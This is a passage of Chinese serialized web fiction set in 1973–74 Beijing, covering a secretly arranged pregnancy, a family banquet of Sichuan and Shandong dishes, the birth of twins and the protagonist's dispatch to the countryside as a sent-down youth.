“我懂！若是你这次没怀上，下个月我们还可以再试一次。若是你还怀不上，那就算了吧！可能真的是你命里没有吧！” “唉！我先走了，天已经晚了！你不用送我了！” “那你路上注意安全！” “嗯！” …… 白建军回到家的时候，天已经黑了。 “建军，你这怎么才回来？我们都吃过了，你吃了么？” 白建华看着这个时候才回来的白建军，略带疑惑的问道。 “我下午去库房那边待了一会儿，没想到一觉睡了过去！”白建军看着白建华笑着说道。“我还没吃呢，我先去把饭菜热一下！” 白建华觉得白建军不正常，但是又说不出来哪里不正常了。不过白建军历来都神神秘秘的，白建华也习以为常了，能告诉自己的，白建军绝对不会和自己隐瞒，不能告诉自己的，白建军也不会让自己知道。 “建军，有什么事，你一定要和姐说！”白建华看着白建军认真的说道。“你也知道我在什么单位，我们那里对医护最重要的要求就是‘嘴严’！” “姐，真没什么事！你就放心吧，我心里有数！” 第55章 替茂计划成功 1973年，初中部3月初才开学，可是高中部过了正月十六就开始正常上课了。 上学期高中部同学们的大多数精力不是学农就是学工，根本没有多少时间用在学习上。下学期还有很多学农的工作等待着学生们，所以学校这边也提前开学，抓住空档期，教授同学们课本上的知识。 已经开学一周了，越是临近周末，白建军的心里越是平静不下来，哪怕上课的时候，也会时不时的出神。 “白建军，这几天我怎么感觉你老走神？”蔡晓丽在上午最后一节课结束之后，看着一边的白建军问道。“你是遇到什么事了么？” “没什么事，可能最近是没休息好！” 白建军看着蔡晓丽搪塞道。 “你这可不是没休息好打瞌睡！”蔡晓丽直接否定的看着白建军说道。“这两天你的眼睛经常走神，总盯着一个地方，这明显就是心里想着别的事！” “真没什么事，我就是在想一些功法上的事！”白建军躲闪的了一下说道。“这事只能我自己解决，说出来别人也帮不上忙！” “功法？” 蔡晓丽不置可否的问道。 白建军点了点头，然后起身离开了教室。 实际上白建军心里想着的一直都是秦京茹的事，白建军既希望秦京茹能怀上，又有一些不希望她怀上，这本就是一件很让人纠结的事。 第二天是周日，白建军又一次来到了四合院，在何雨柱家呆了一会儿，白建军就转身离开了四合院，不过这次白建军并没有等到秦京茹从家里出来。 煎熬的等待了一周之后，白建军再次去四合院的时候，这次终于见到了秦京茹，不过秦京茹并没有和白建军一起走，只是在路过白建军身边的时候，小声说了两个字“没来”，就忙别的事了。 有消息总比没有消息能让人轻松一些。就这“没来”两个字，已经让白建军意识到，自己当初给秦京茹的提议，有可能真的实现了。不过这也意味着，白建军和秦京茹之间不正常的关系已经到了结束的时候了。 “我又不是爽文男主，不可能出现在我身边的女人都得是非我不可的。” 白建军自嘲的笑了笑，出了南锣鼓巷的院子就蹬上了车子往家里走。 …… 白建军回到家中之后，和李香秀打了声招呼就回到了自己的屋子。当白建军路过家中的镜子的时候，那些神秘的文字再次凭空出现在了镜子前面。 “被选中者近期的表现，让XX感叹‘我道不孤’！他将继续关注你接下来的表现！” “被选中者近期的表现，让XXXX非常失望，已经取消了对你的关注！” “被选中者近期的表现，引起了XXXX的兴趣，祂关注了你的动态！” “被选中者近期的表现，引起了XXXX的兴趣，祂期待你接下来会有怎么样的表现！” “被选中者近期的表现，引起了XXXX的兴趣，祂期待你能给祂带来更多的乐趣！” 看着连续出现的数条红字信息，白建军终于验证了自己曾经的猜测：只有改变他人的命运，而且是巨大的改变，才能引起界外那些存在的注意；但是也不是所有那些界外的存在都会给与自己打赏，可能只有自己的行为令对方觉得有意思，才会得到祂们的赏赐！ 深深的无力感充满了白建军的内心。 “我还是太弱小了！” 面对这种情况，有些人会选择一死了之，逃脱这种被人操控的状况；有些人会选择躺平，随波逐流；有些人更会选择放纵，肆意的表演自己的能力，以博得更多人的关注，获取更多的‘打赏’。 这些都不是白建军的选择，白建军选择了隐忍。白建军希望自己以后能和那些界外之人一样，能坐在桌子上看着别人演出。 ----------------- 下定决心的白建军，把更多的精力放在了练武、学习、学艺之上。 白建军仍然定期去何雨柱家里学艺，但是白建军很长一段时间都没有再见到秦京茹，白建军已经明白秦京茹是在躲着自己。虽然也记挂着秦京茹的情况，但是这份记挂，白建军只能放到心底。 高一下学期的课业明显重于了上学期，虽然白建军他们在春季也参加过送粪的劳动，但大多时间都是在校内学习或是课余时间去校办工厂帮忙。像上学期那样长时间的“三学”活动，要等到“三夏”的时候才会开展起来。 学校这边对于白建军来说，算是风平浪静的了，虽然偶尔也会出现一些欺负人的事情，但是这些事没发生在白建军身边的身上，白建军也不会主动去参与。 类似白建军这样的学生可以说有很多，可以说他们都是中立派，也可以说他们都是逍遥派。但是在这个时候，无论是什么派，还是要有一定的实力，否则只会沦为别人欺负的对象。 时间真的是个神奇的东西，有时候觉得它过的很慢，有时候又会让人觉得它过的很快。一晃眼的功夫，时间已经过去了好几个月。 白建军参加“三夏”之后，一直忙着学习，所以一直都没怎么去南锣鼓巷那边，考试结束之后，终于放松了，白建军再次来到南锣鼓巷的四合院。 刚进到中院，白建军就看到肚子明显大了起来的秦京茹正在许大茂的扶持下在四合院里溜达。秦京茹看到白建军的时候，脸上也露出了意外的神情。 “白建军，你这有日子没来我们院啦！” 扶着秦京茹的许大茂看到白建军打着招呼说道。 “是啊，学校课业比较重，又赶上去外地学农、回来就忙着考试，这不就一直没过来么！”白建军看着许大茂笑着说道。“您们这是……？” “医生说的，要多走动，我这不就陪着我媳妇在院里运动运动，也不能总在屋子里呆着不是！” 许大茂得意洋洋的说道。 秦京茹看了白建军一眼，然后直接对着许大茂说道。 “大茂，我累了，我们回去吧！” “好，回去！运动多了，别再伤着我儿子！” 许大茂低眉顺眼的看着秦京茹说道。 看着往回走的许大茂和秦京茹，白建军也没说什么，等白建军进了何家也就知道为什么会看到许大茂带着秦京茹出来溜达了。 冉秋叶怀孕也八个多月了，何雨柱每天都要陪着冉秋叶在院里走动走动。许大茂看到何雨柱这么干，自己也不能甘于人后，弄得好像谁媳妇没怀孕似的。 第56章 请何雨柱掌勺 “建军，你这今天怎么有功夫过来了？” 陪着冉秋叶在院里溜达了一会儿，何雨柱就扶着冉秋叶回到了屋子里。 “柱子哥，我想过几天请您过去我家那边掌一趟勺！” 白建军客气的对着何雨柱说明了自己的来意。 “这是有什么事啦？”何雨柱疑惑的看着白建军说道。“除了谭家菜我没教你，鲁菜和川菜里的大部分菜我都教给你了，想来一般的人你也都能应付了啊！” “柱子哥，我姐的工作落实了，我就寻思着在家里摆一桌庆祝一下。请的也都是我妈之前的战友。”白建军也没瞒着而是实话实说道。“我和您还是有着差距，还得您来掌勺，这味道才地道！” “这里有蜀地的人？” 何雨柱看着白建军问道。 “那倒没有，不过他们之前都在鲁地和蜀地工作过一段不短的时间！”白建军摇了摇头接着说道。“我这不是怕露了怯，给您丢人么！” “你这问的这么清楚干什么，建军请你去，你就去呗！” 冉秋叶在一旁帮着白建军说话道。 “这事得问明白，我才知道要带什么作料，备什么料！”何雨柱对着冉秋叶解释了一下。“建军，我心里大概齐有数了，一会儿我给你写张单子，你提前准备好。不过调料不用带，到时候我自己带过去。” “您放心，来的都是看着我长大的叔伯阿姨。” 白建军认真的看着何雨柱说道。 “对了，这上面的材料你要是淘弄不到，你去找马华，让他带你去！”何雨柱想了想又补充了一句。“不要票，就是价格有些高，但是绝对是行价！” “成，我这边定好时间，我就去找马华！” 白建军笑着看着何雨柱说道。 虽然现在普遍都不富裕，但是一些食材还是能弄到的，只是这得看你有没有渠道。轧钢厂李主任做为一个老饕，自然是有渠道的人之一。光有食材，没有好厨子也做不出来美味，而何雨柱完全可以称得上是好厨子了。两方接触的多了，何雨柱自然对李主任的渠道知道的一清二楚，更不要说何雨柱本身还有渠道搞到一些特殊的食材。 何雨柱也没再和白建军废话，直接拿起纸笔就开始写起了准备的食材，可是刚要动笔又停了下来。 “对了，建军，你这几个人，准备做几个菜啊！” “要是算上我姐和我，有9个人！”白建军掐手指头算了算然后看着何雨柱说道。“您看着安排吧，多点也没什么，也浪费不了。” “得咧！” 何雨柱听白建军说完，直接唰唰唰就开始在纸上写了起来。 时间也不早了，再待一会，就中午了，若是不学艺的时候，白建军是不会在何雨柱家吃饭的。 白建军回家之后，到了晚上白建华下班的时候，白建军也把这个事跟白建华说了，白建华也同意了。其实白建军不张罗，高兰、刘鑫他们那些苗若珍的战友最近也会在隔壁小聚，只是毕竟白建华能留在医院，这些人都是出了力的，白建军也就借着这次机会，感谢人家一番。 白家姐弟现在不能光指望着过去父母的那些人情，那样人情只会越用越少，还是需要白家姐弟自己来维护这些人情，才是长久之计。 又是一个星期天，何雨柱上午不到10点就到了白家，这也是何雨柱第一次来这片。 按理说正阳门这片有专门办宴席的厨子，但是白建军这次弄的是家宴，而且做得也是川菜和鲁菜。这边的厨子整几桌普通的婚宴菜还成，川菜、鲁菜还不如白建军自己做得好的。白建军也提前和这片的厨子打了声招呼，省的人家多心。 白家这个四合院有单独的厨房，何雨柱来了之后，就直接去了厨房，白建军则在厨房帮着打下手。 而隔壁四合院，到了10点多左右，刘鑫、曲径、曹慧前后脚就到了。 “老曲、曹慧，就等你们俩了！” 高兰看到曲径和曹慧都到了，热情的招呼着两人说道。 “高医生，让他们先聊着，我给你打下手！” 曹慧先是瞪了田志远一眼，然后笑着对高兰说道。 “曹慧，先不用，一会儿我自有安排！” 高兰看着曹慧神秘的笑着说道。 曹慧也有些诧异，不过既然高兰有安排，曹慧也没有坚持。 田志远、曹慧、曲径、刘鑫、高兰几个人都是战友，而且说起来也有好几年没像今天这样大家坐在一起了。一个是平时大家各忙各的，很少能赶上休息时间都在一天。 几个人坐在一起，自然回忆起了当年挺进大别山、淮海战场以及挺进大西南的那些峥嵘岁月。但是聊着聊着，这话题怎么着都绕不过邓公。 田志远之前虽然恢复了工作，但是他们那个政策办公室可以说的上是名存实亡，田志远一直郁郁不得志，直到最近邓公复出主持工作，田志远又回到了邓公身边，才有了一展身手的机会。 曹慧、曲径则在杂志社工作，两个人思想意识上，完全是百分百按照伟大领袖的指示去办。邓公复出本就有伟大领袖和周公支持，所以今天大家还能聊一聊，但是也只限于聊过去。对于现在工作，大家都很有分寸的没有讨论。 几个人的工作都涉及到很多机密的东西，你要是开口问了，对方不说，不仅会让回答的人尴尬，最后也是让提问的人尴尬，所以大家索性都不问对方工作上的事。 时间过得很快，大家聊了一会儿就到了中午11点多了。 “这也到了中午了，咱们先吃饭吧，吃完饭你们再聊！”高兰看了一眼时间，对着田志远他们说道。“都跟我来吧！” 虽然刘鑫、曲径、曹慧几个人心里有些疑惑，为什么高兰一直没张罗做饭，但是既然高兰有安排，大家也都听高兰的安排。高兰率先出了四合院，众人也都跟着高兰走了出来。 只是高兰走出去不远就停了下来。 “到了！” 第57章 宴客 没几步，高兰就到了白家门口。 “高医生，这不是小苗家么！” 刘鑫看高兰停在白家门口，看着高兰说了一句。 “老刘、老曲，你们俩，不会是有什么顾虑吧！” 田志远看着刘鑫和曲径直接问道。 “唉，人都不在了，还有什么顾虑不顾虑的！” 刘鑫叹了口气，曲径虽然心里还有些抵触，但是想想苗若珍，也叹了口气。 “都别在门口站着了，这院里的香味都飘出来了！”曹慧一到白家门口，就明白了高兰的意思，推了刘鑫和曲径一把。“赶紧的吧，家里就两个孩子，你们俩也不是没见过，他们俩还能有什么问题？” 刘鑫、曲径就这么跟着高兰走进了白家的大门。 “各位叔伯阿姨，你们来了，快请进！” 听到动静的白建华从正屋出来迎接众人，一见到大家就热情的招呼着。 “这是……”看着亭亭玉立的白建华，刘鑫、曲径都有些不敢认了。“这是建华？” 刘鑫有些不确定的看着身旁的田志远问道。 “刘伯伯，曲伯伯！” 白建华看着刘鑫和曲径直接叫了一声。 “这一转眼的时间，建华都长成大姑娘啦！” 刘鑫看着白建华直接夸赞道。 “二哥、老曲，你们就别在这边站着了！” 从厨房端菜出来的街道刘干事直接招呼了一声。 “我说怎么一直没看到你人呢，我还以为你今天工作忙呢！”刘鑫看着出来的刘干事，笑着说道。“原来你是跑这院来了啊！” 几个人在刘干事的招呼下，都进了正屋。这时曲径也发现了挂在衣架上的一套整洁的女士军装。 “建华，这军装是你的？” 曲径看着白建华问了一句。 “建华现在跟着若珍的姓，就在我们医院当护士呢！” 高兰站在白建华身边，笑着对曲径说道。 “挺好！” 曲径听高兰这么一说，心中也大体明白了，可能这个屋子里，就自己不知道这个事。刘鑫可能真的很久没见过白建华，但是对于白建华工作的事，刘鑫一定是知情人之一。对于这个事，曲径也没有深入研究的想法，既然这个事能拿到台面上，那就一定是有拿到台面上的理由。 “你们再等等，还有几个菜，马上就上来！” 大家都坐下之后，刘干事对着大家说道。 “刘淼，这菜就不少了，你去厨房那边看看，别忙活了！”刘鑫看着刘干事直接就说道。 “二哥，你就甭管了！”刘干事看着刘鑫说了一句，然后又对着其他人说道。“你们先动筷吧，我先过去啦！” “各位叔伯阿姨，欢迎你们能来。你们都是我妈的战友，我做为晚辈，先敬大家一杯，你们随意！” 等刘干事走了，做为主家的白建华起身给大家都倒上了汾酒，然后自己也端起了酒盅对着大家热情的说道。 “好！”看着白建华一口干了酒盅的酒，刘鑫、曲径都纷纷发出喝彩声。曲径更是笑着说道。“看这架势，有你妈当年的风采啦！” “孩子都干了，咱们也都干了吧！” 高兰也举起了酒盅，看着大家说道。 “好！干！” 众人直接举杯，将酒盅干掉。 白建华起身又给众人倒了一圈酒。 “建华，我记得你还有个弟弟叫建军，怎么没看到他人呢？”刘鑫等白建华倒完酒，看着白建华问道。 “刘伯伯，建军在后厨帮忙呢！”白建华看着刘鑫笑着说道。“今天的厨师可是他特意请来的，大家尝尝菜吧！” 众人听白建华这么一说，也知道一会儿就能见到，也都开始纷纷动筷夹菜。 “这味道，地道！”曲径尝了一口，不由称赞道。“这又让我想起了咱们在蜀地那段时间了，没想到过了20多年了，又一次尝到了这个味儿了。” “你再尝尝这道腰花，这让我想起了咱们在大别山的时候，我去城里尝过的味道。”刘鑫指着爆炒腰花看着曲径推荐道。 桌上的菜，受到了大家的一致好评，而且最重要的是，每道菜都能让大家回忆起过往的那个峥嵘的年代。 不大功夫，刘干事端着东坡肘子，白建军端着糖醋鲤鱼也来到了正屋。 “不用说，这大小伙子就是建军啦吧！”曲径看着端菜进来的白建军，上下打量了一下。“这都快有1米8了吧！” “建军，这是你曲伯伯，旁边的是你刘伯伯，也是你刘姨的亲哥哥！” 曹慧也有一段时间没见过白建军了，但是怎么也比曲径他们见得多，也帮着白建军介绍了起来。 “老刘，老曲，建军几年前失忆了，之前的事都忘了！” 高兰看着叫完人的白建军，又对着刘鑫和曲径解释了一句。 “建军，后面没菜了吧！”曹慧看着身边的白建军问道。 “这都够丰盛的了，可别再上菜了！” 曲径也在一边说道。 “菜上齐了，不过要是不够，我再和何师傅说一声。”白建军笑着说道。“但是再做就不是川菜和鲁菜了，主要是食材找不到。所以只能是家常菜了！” “这就很好了！”刘鑫笑着看着白建军说道。“刚刚你姐说你在后厨帮忙，你现在学厨呢？” “刘伯伯，我还在上高中，就是之前去工厂的时候，跟着何师傅学了一些。”白建军笑着回答道。“后来学工完事之后，我也经常去柱子哥家跟着学艺。” “呵呵，看出来了，你这是得了真传了！”曹慧笑着看着白建华说道。“建华可比上次我见着的时候，胖了很多了！” “曹阿姨，我哪胖了啊！” 白建华不好意思的看着曹慧说道。 “上次看你身上都没有几两肉，我都担心来一阵风都能把你吹跑了。”曹慧笑着看着白建华说道。“现在看着就好多了！” 听着曹慧的话，众人都笑了起来。 饭桌上，大家继续聊着曾经的过往，偶尔也会提到白建军姐弟的母亲苗若珍，但是几个人都特意的避开了白占元。虽然白占元也是他们的战友，但是这个时候，还是不提为好。 白建军再给众人倒了几次酒之后，大家就让白建军坐下吃饭了。 “诸位叔伯阿姨都是我们姐弟的长辈，也都是看着我们长大的。”白建军诚恳的说道。“给各位叔伯倒酒，都是我这个做小辈应该做的！” 这一顿饭，大家吃的是异常的开心，若不是知道这是在京城，仿佛又回到了鲁地、蜀地。吃完饭，众人干脆就在白家继续聊着，白建华陪在一边，白建军则是去了后厨。 “柱子哥，今天谢谢你了！”白建军客气的对着何雨柱说道。 “他们吃着开心就成！”何雨柱虽然一直在厨房，但是也能听到一些正屋的说话，众人的夸奖他也都听到了。“你自己收拾吧，我就先回啦！” “那我送您！” “不用，和我就甭客气了！” “不是，柱子哥，这还有这么多剩下的料呢！”白建军指着剩下不少的食材看着何雨柱说道。 “留着吧！你秋叶姐可是和我约法三章啦，这第一条就是不能带菜回去。”何雨柱笑着说道。“她怀的可是双棒儿，这时候我可不敢让她生气！” “我看也就秋叶姐和雨水姐能治得了你了！”白建军一边送何雨柱一边笑着说道。 “哈哈哈！我乐意！” 何雨柱大笑着说道。 送走了何雨柱，刘鑫他们又聊到了下午2点多，才算是结束了这次小聚，白建华和白建军也把刘鑫、曲径送到了大门口。两人都对白建华、白建军姐弟留下了深刻的印象，两个孩子都聪明，而且都很识大体。 送走了客人之后，白建华和白建军才回到屋内。白建华今天大多时候都比较沉默，白建军看出白建华是在强撑。 “姐，都会好起来的！” “我知道！你先回屋去吧，我自己待一会儿！” 白建华摇了摇头看着白建军说道。 “那好吧！” 白建军看着坚定让自己离开的白建华，也不知道该怎么说了。 第58章 千金 临近暑假结束，这天白建军正在徐静理这边研究邮票呢，蔡全无就把着急忙慌的夏建红带了进来。 “建红，你怎么来了，这怎么了？” 白建军看着跑的呼哧带喘的夏建红赶紧问道。 “建军哥，轧钢厂食堂那边刚刚来人，说冉老师已经送医院了！” 夏建红喘着粗气直接说道。 “这是要生了？” 白建军惊讶的说道。 “哪个冉老师啊？” 蔡全无听的云山雾罩的，看着白建军问了一嘴。 “爸，就是去年我和白建军去参加婚礼那家！” 徐静理看着蔡全无解释了一句。 “那你们就别在这站着了，赶紧去看看！”蔡全无一下就想起来了。“建军，你骑家里的自行车快过去！理儿，你也跟着去看看！” “建红，我先去看看，晚上我姐下班，你告诉她一声！” 白建军接过蔡全无的车钥匙，就和夏建红说道。 “你放心吧，建军哥，我会告诉建华姐的。”夏建红点头答应了一句，说完还不忘提醒一下白建军和徐静理。“你们俩路上也注意安全！” 白建军骑着蔡全无的车子，驮着徐静理就往医院赶。等两个人到了医院这边，冉秋叶已经被送到产房了，何雨柱还有好几位南锣鼓巷这边的邻居都在等产房外面。 “柱子哥，大夫怎么说！” 白建军到了之后就看着何雨柱问道。 “有的等了！” 何雨柱紧张的说道。 白建军到了之后，何雨柱对着邻居感谢了一番，就让大家先回去了，这边就剩下何雨柱、马华、白建军和徐静理。白建军让徐静理也先回去，可是徐静理却选择留了下来。 这一等，就等到了第二天天亮。中间不少同样等待的家属都迎来了新生儿，可里面的冉秋叶愣是没有一点动静。直到天刚微微发亮，一个护士再次走了出来。 “谁是冉秋叶家属！” “这呢！” 白建军赶紧推醒了刚刚睡过去的何雨柱。 “恭喜啊，您爱人生了一对龙凤胎！” 小护士对着何雨柱开心的恭喜道。 “我有孩子了？” “柱子哥，恭喜你儿女双全啦！” “何师傅，恭喜你啊！” 护士看着傻愣愣的何雨柱也没有笑话他，毕竟一下子得了龙凤胎，对于任何人家来说都是大喜事。 “母子三人都很平安，一会儿推出来你们就能看到了！” 护士交代了一句，就转身往产房里面去了。 这回连听到这个消息的其他在产房外守着的丈夫们，也都纷纷送来了祝福。 不大一会儿，冉秋叶就被从产房推了出来，两个护士分别抱着两个包裹好的孩子一起走了出来。何雨柱一时之间也不知道看哪个好了，也不敢胡乱伸手，两只手就这么尴尬的放在了半空。 “柱子哥，孩子什么时候都能抱，先送秋叶姐去病房，以后你有的是时间抱孩子！” 白建军笑着提醒着何雨柱说道。 “建军说的对，你说的对！” 何雨柱尴尬的笑着说道。 等到了病房，护士将两个孩子放到了冉秋叶身边，又交代了几句，就离开了。 “白建军，我怎么看着这两个孩子这么小啊！之前那几家的孩子看着比这两个孩子要大一圈多呢！” 徐静理小声的在白建军耳边说道。 “毕竟是龙凤胎，一份营养两个人分，肯定不如一个人独享。”白建军笑着说道。“也就是秋叶姐怀的是双胎，不然照柱子哥那么喂，要是单胎，孩子长的太大，都容易难产！这些知识《赤脚医生手册》上都有。” 冉秋叶母子三人平安，白建军又待了一会儿，就和徐静理离开了医院。两个人都在医院陪一宿，经历了刚刚看到新生儿的兴奋，现在都有些配备，为了安全起见，两个人就推着车子往回走。 “这想起来，还真是神奇！去年我们还参加过他们的婚礼，今年就看到了两个小宝宝的诞生。”徐静理一边走一边感叹道。“他们结婚的事，我都有一种是昨天发生的错觉。” “时光如水，声明如歌！” 白建军笑着说道。 白建军送徐静理回家之后，和蔡全无说了那边生了龙凤胎的喜讯，蔡全无也跟着一起高兴。徐静理此时已经非常疲惫了，哪怕是大早上的，也洗漱了一番回屋睡觉去了。 “蔡叔，我也回去了。” 白建军也跟着蔡全无告辞。 “你这孩子，你也累了一宿了，让理儿自己回来就成。”蔡全无责备的看着白建军说道。“你也赶紧回家，好好休息休息！等哪天放假，再过来看我啊！” “好嘞蔡叔，你放心吧！回头哪天休息我在来看您！” 白建军笑着和蔡全无说完，就离开了徐家。 ----------------- 1973年的金秋九月，白建军迎来了高中的最后一个学年，而开学刚刚不久，白建军他们就再次去郊区参加为期半个月的秋收，等回来之后，还没学习一个星期，白建军这一届的学生就再次被投入到了工厂。 就在白建军他们又在轧钢厂学工即将结束的时候，白建军也从刘岚的口中知道了秦京茹生下了一个女儿，因为是立冬这天生的，这个孩子小名叫冬冬，大名叫许晓秦。 虽然秦京茹生了个女儿，在许家的处境也改善了不少，但是生活的并不如意。 许大茂她妈没事就念叨着：“不说像中院似的一下生两个，起码争点气生个男孩给老许家传宗接代啊！”许大茂现在也是信心大增，天天中药不断，哪怕再苦，也闭着眼睛喝下去。其目的秦京茹是一清二楚，就是为了要儿子，可是秦京茹心里清楚，哪怕许大茂天天拿中药汤子当水喝也没用。 白建军对于秦京茹的处境也无能为力。许大茂他妈一直在后院伺候月子，白建军根本就见不到秦京茹。直到何雨柱给他的一对龙凤胎办百日宴的时候，白建军才见到了秦京茹一面，但是秦京茹只是隐晦的对着白建军摇了摇头。 白建军明白，秦京茹还是选择了自己承受这一切。 两个人之间的这笔糊涂账，只能继续这么糊涂下去了。 第59章 前途未卜 1974年一月，正月初四的一大早街道刘干事就突然来到了白家。 “刘姨，您今天怎么有时间过来了？” 独自在家的白建军，看着突然造访的刘淼疑惑的问道。 “建军，现在风向有变了！”刘淼和白建军走进正屋之后神情凝重的说道。“现在厂子能直接接收你么？” “刘姨，轧钢厂那边的名额都快打破脑袋了，而且就算是留下，也得是一线的工人。”白建军看着刘淼摇了摇头说道。“我一直在后勤这边，根本都轮不到我这边。” “去年的下乡指标落实工作各个区都完成的不好，今年上面已经下了死命令，必须完成动员工作。”刘淼凝重的看着白建军说道。“你还是想想办法，运作一下找个厂子接收你，不然按照规定来，你是一定会下乡的！” “刘姨，现在各个厂子从去年开始就开始紧缩名额了！”白建军看了一眼外面，小声对着刘淼说道。“轧钢厂的名额现在哪怕花小黄鱼都办不下来了！” “那你就准备下乡么？”刘淼看着白建军问道。 “刘姨，学校这边我还在申请加入团组织，以我的成绩和平时的表现，这个问题应该不大，但是我们老师也说了，半道退学进入工厂，是没有机会的，这个事必须得完成学业才行。”白建军看着刘淼真诚的说道。“与其被动的等待分配，不如我主动一些！我这边要是主动提出毕业之后在下乡，还得麻烦您帮忙找个能吃饱的地方！” “这点你放心，到时候我会留意的！”刘淼肯定的说道。“我还要去隔壁院，还要告诉高医生一声！” “刘姨，你是说建红也可能得下乡？”白建军一听刘淼要去隔壁院，直接问道。“这到底是什么风啊？” “唉！” 刘淼叹了口气，之后也没说什么就转身离开了。 “建军，这是又要乱了么？” 等刘淼走后，李香秀才从屋子里走了出来。 “太奶奶，刘姨没说，但是估计过两天，报纸上就会有消息了。”白建军安慰着李香秀说道。“看到具体消息，咱们再想怎么办吧。大不了我就下乡。我相信以我的本事，就算去了乡下，也能混出来。” “等后儿个，朱厚他们来，我问问他们村里是个什么情况！” 李香秀皱着眉说道。 “太奶奶，您不用问了，村里虽然一个知青都没有，但是面上的名额都是满的。”白建军看着李香秀直接说道。“能分配到燕郊的，可以说家里都是花了大力气的，并不是谁都像我田源哥似的，主动要去彩云省的。” “就没有别的法子了么？”李香秀看着白建军问道。“去年的那封信，报纸上也登了，乡下可不都是净土！” “太奶奶，我有医术、有厨艺，到了下面也不会太难过！”白建军看着李香秀安慰道。“哪怕就是遇到那种不是人的，我也有办法。您别忘了，我还有功夫在身上！” “建军，打架是解决不了问题的。”李香秀摇了摇头看着白建军说道。 “太奶奶，我知道。”白建军认真的说道。“我不会用打架解决问题，我会用神不知鬼不觉的手段解决有问题的人！” 虽然白建军这么说，但是李香秀还是跟着担忧。李香秀还有一张牌，但是现在形势不明，那张牌动用了之后，可能好也可能坏，现在谁也说不准。李香秀有些后悔没有早点用那张牌了，现在变化又起，变数一下子就多了起来。 等到了晚上的时候，夏建红过来找白建军，让白建军去隔壁院，田志远要找白建军。 “田伯伯，您找我！”白建军到了田志远的小屋，就热情的说道。 “建军，我问你，你姐到医院工作的事，没有什么问题吧？” 田志远看着白建军严肃的问道。 “实习指标是高医生张罗的，除了这个以外我姐在医院实习的时候一直表现的很突出，各科对我姐的工作也是夸赞有加。”白建军想了想看着田志远说道。“其他手续也都是符合规定的。” “刚才我和高医生也说了这个事，实习指标这个不算什么把柄！” 田志远想了想皱眉说道。 “田伯伯，这到底是出了什么事！” 白建军郑重的看着田志远问道，这毕竟涉及到了白建华，白建军不得不慎重。 “昨天开会，会上提了‘走后门’的事。”田志远按着太阳穴说道。“虽然我知道那些人是为了什么去的，但是我怕这事往下传达的时候，会波及到建华。虽然在那些人的手还伸不到她们医院，但还是要慎重对待，你明天也告诉建华一下。” “田伯伯，我知道了！” 白建军郑重的说道。 回到家的白建军从田志远身上感受到了压力。自己原来计划留在城里的想法，可能不一定实现的了了，而摆在自己面前可能真的只剩下下乡这一条路了，而这一条路，也是白建军他们这一届大多数学生的路。 即使提前分析出来了下乡是自己唯一的选择，白建军也没有选择在开学之后就躺平，反而更加努力的学习。 最后一次参加‘三夏’返回学校之后，白建军身边的不少同学，也终于知道了自己毕业之后的去处。 苏萌和任燕因为都是独生子女，所以两个人不出意外的都被分配了工作，苏萌去了工商局，任燕去了报社；唯一进了工厂的只有雷金山这么一个考过了二级焊工的，不过他也没去成轧钢厂，而是去被分配到了别的工厂，至于其他人都是被动员下乡了。 徐静理被分配到了燕郊，可以说白建军朋友中离京城最近的了，像叶菲、蔡晓丽、图强、赵二喜、赵小年、区立林、李春来他们一大帮人都被分配到了内古的兵团。 白建军以为自己会和夏建红一样去徽安省，可是最后的结果是只有夏建红和其他几个同学去了徽安省，而白建军则和王美丽，以及另一部分同学被分配到了黑江省，而且还是和叶菲她们似的分配到了兵团。 白建军实在不知道问题出在哪了，还是街道刘干事来白家解释的时候，白建军才明白是有人从中作梗。 知青办有人把白建军树立成了典型，说“这么优秀的知识青年就要承担更大的责任，就应该去更艰苦的地方，为广大农民同志们服务！”说这话的人姓刘，而他儿子就是刘士宽。 哪怕白建军做了再多的努力，也没想到两年前的雷，竟然响在了这个时候。 第60章 离别和底牌 1974年7月，京城火车站。今天最里侧的站台异常热闹。绿色的车厢里坐满了即将奔赴祖国东北的知识青年，站台上都是前来给儿女们来送行的父母亲友。 知青办组织了锣鼓队，敲锣打鼓的好不热闹。但是除了这些组织来的小学生以外，无论是车厢里的知识青年还是站台上的家长们，心情都是相当沉重。 城里的孩子没有几个是真心想要去农村的，但是这不是你说不去就能不去的。 去年全国计划216万人下乡，可是真正落到实处的，只有40多万出头。 而且今年形势又有了变化。 家长们不愿意孩子们下乡，孩子们同样不想下乡。车厢里这些知青，最小的才14岁最大的也没超过17岁，突然让他们离开生活了十多年的城市，去农村参加劳动，这是很多人都接受不了的。 现在可不是1968年那个时候，人人争着抢着下乡，经过了这几年，城里的普通百姓是真正的明白了农村有多苦。就算自己家没有那时候下乡的，可是周围邻居还有，他们过年回来探亲时的描述，让新成长起来的这些知青都对农村生活心有余悸。 但是再心有余悸也没办法，该去还得去。 站台上的父母拉着车厢里即将远行的儿女手久久不愿意撒开，眼泪是止不住的往下流，嘴里也是不停的说着“离开了爸妈，你就成大人了，你要照顾好自己……”。 不少父母都偷偷给孩子塞上家里省吃俭用攒下的钱，嘴里还说着。“穷家富路，渴了饿了就买点吃的，有事记得给家里写信！” 白建军也是这即将北上的知青中的一员，而白建军身边都是前来送别的同学和亲友。 何雨柱和冉秋叶都抱着孩子来送白建军，而且何雨柱还特意给白建军准备了一个大木头盒子让白建军带上。 “虽说你没拜我为师，可是我这本事你都学的差不多了。”何雨柱提着木盒子的把手示意白建军接过去。“这里也不多就两把刀，有这两把就够了。” 白建军接过木盒子郑重的对着何雨柱鞠躬。 “你在那边好好干，别惹事！”何雨柱连忙伸手扶住白建军。“我在这边再找找机会！” “柱子哥，现在你也会说‘别惹事’啦！” 白建军不想何雨柱太伤感，所以笑着说道。 “我现在和过去能一样么。”何雨柱说完逗弄了一下怀里的闺女。“我这有家有口的！” 冉秋叶见周围还有不少人，就拉着何雨柱先到一边。而何雨柱一离开，徐静理、苏萌、蔡晓丽她们几个女生也过来和白建军送别。刚刚她们去王美丽那边了，等男生们过去之后，她们就过来了这边。 等她们都和白建军一一道别之后，夏建红、任燕才陪着白建华和李香秀过来。 “姐，你别哭啦！”白建军伸手把白建华脸上的眼泪擦了擦。“我这是去下乡，又不是不回来了！” 白建华听到白建军这么说，哭的更厉害了。别人家都是姐姐为弟弟遮风挡雨，到了自家这边，反倒是弟弟这么多年为了自己能有个好工作没少谋划。 “燕子，过几天建红也要去徽安了，我姐和太奶奶就只能拜托给你了。” 白建军看着一边的任燕认真的说道。 “建军哥，你放心吧，我一定帮你照顾好建华姐和太奶奶！” 任燕急忙点头答应。 